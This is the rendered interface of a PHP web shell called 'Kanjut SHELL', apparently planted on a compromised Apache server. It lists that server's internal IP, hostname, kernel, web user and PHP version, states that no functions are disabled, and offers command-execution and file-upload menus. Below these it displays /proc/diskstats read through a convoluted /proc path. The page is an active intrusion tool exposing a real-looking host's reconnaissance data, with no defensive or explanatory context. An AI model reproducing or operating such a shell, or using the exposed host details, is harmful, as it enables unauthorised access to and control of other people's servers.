Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.220.200.33
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/31/../7/../5/../569/../482/../909/../1604/../26/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/31/../7/../5/../569/../482/../909/../1604/../26/../diskstats
   8       0 sda 2063877 22201 201488413 9316048 4796602 390843 123480372 206042921 0 21528824 215358970 0 0 0 0
   8       1 sda1 6766 23 4835605 48530 133 26 7365 7589 0 16043 56120 0 0 0 0
   8       2 sda2 2056950 22178 196634568 9267318 4796469 390817 123473007 206035331 0 22071589 215302650 0 0 0 0
 253       0 dm-0 1945568 0 191915884 8062163 4980728 0 121399571 230314970 0 21610843 238377133 0 0 0 0
 253       1 dm-1 31719 0 257360 173295 177705 0 1421640 38605626 0 293278 38778921 0 0 0 0
 253       2 dm-2 44010 0 4430988 299063 27739 0 651796 1042571 0 646580 1341634 0 0 0 0

Stv3n404 - 2023